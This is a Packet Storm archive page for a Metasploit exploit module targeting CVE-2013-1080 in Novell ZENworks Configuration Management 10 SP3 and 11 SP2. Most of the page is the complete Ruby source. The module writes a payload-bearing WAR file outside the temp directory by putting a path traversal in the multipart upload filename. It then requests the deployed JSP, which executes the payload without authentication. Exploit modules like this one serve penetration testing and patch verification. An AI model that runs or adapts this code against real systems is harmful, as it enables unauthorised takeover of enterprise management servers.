what you don't know can hurt you

Novell ZENworks Configuration Management Remote Execution

Novell ZENworks Configuration Management Remote Execution
Posted Apr 2, 2013
Authored by James Burton, juan vazquez | Site metasploit.com

This Metasploit module exploits a code execution flaw in Novell ZENworks Configuration Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control Center application, allowing an unauthenticated attacker to upload a malicious file outside of the TEMP directory and then make a second request that allows for arbitrary code execution. This Metasploit module has been tested successfully on Novell ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE Linux Enterprise Server 10 SP3.

tags | exploit, arbitrary, code execution
systems | linux, windows, suse
advisories | CVE-2013-1080, OSVDB-91627
MD5 | 6880855d26d4b493acfa080a98b99059

Novell ZENworks Configuration Management Remote Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Remote Execution',
'Description' => %q{
This module exploits a code execution flaw in Novell ZENworks Configuration
Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control
Center application, allowing an unauthenticated attacker to upload a malicious file
outside of the TEMP directory and then make a second request that allows for
arbitrary code execution. This module has been tested successfully on Novell
ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE
Linux Enterprise Server 10 SP3.
},
'Author' =>
[
'James Burton', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1080' ],
[ 'BID', '58668' ],
[ 'OSVDB', '91627' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ]
],
'Privileged' => false,
'Platform' => [ 'win', 'linux' ],
'Targets' =>
[
[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
'Traversal' => '../webapps/'
}
],
[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/'
}
]
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 22 2013'))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => "/zenworks/jsp/fw/internal/Login.jsp"
})

if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Detected
end

def exploit

# Generate the WAR containing the EXE containing the payload
app_base = rand_text_alphanumeric(4+rand(4))
jsp_name = rand_text_alphanumeric(8+rand(8))

war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

# Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars
boundary = "----#{rand_text_alpha(34)}"
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << war_data
data << "\r\n"
data << "--#{boundary}--"

res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
})

if res and res.code == 302
print_status("Upload finished, waiting 20 seconds for payload deployment...")
else
fail_with(Exploit::Failure::Unknown, "Failed to upload payload")
end

# Wait to ensure the uploaded war is deployed
select(nil, nil, nil, 20)

print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_cgi({
'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"),
'method' => 'GET',
})
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close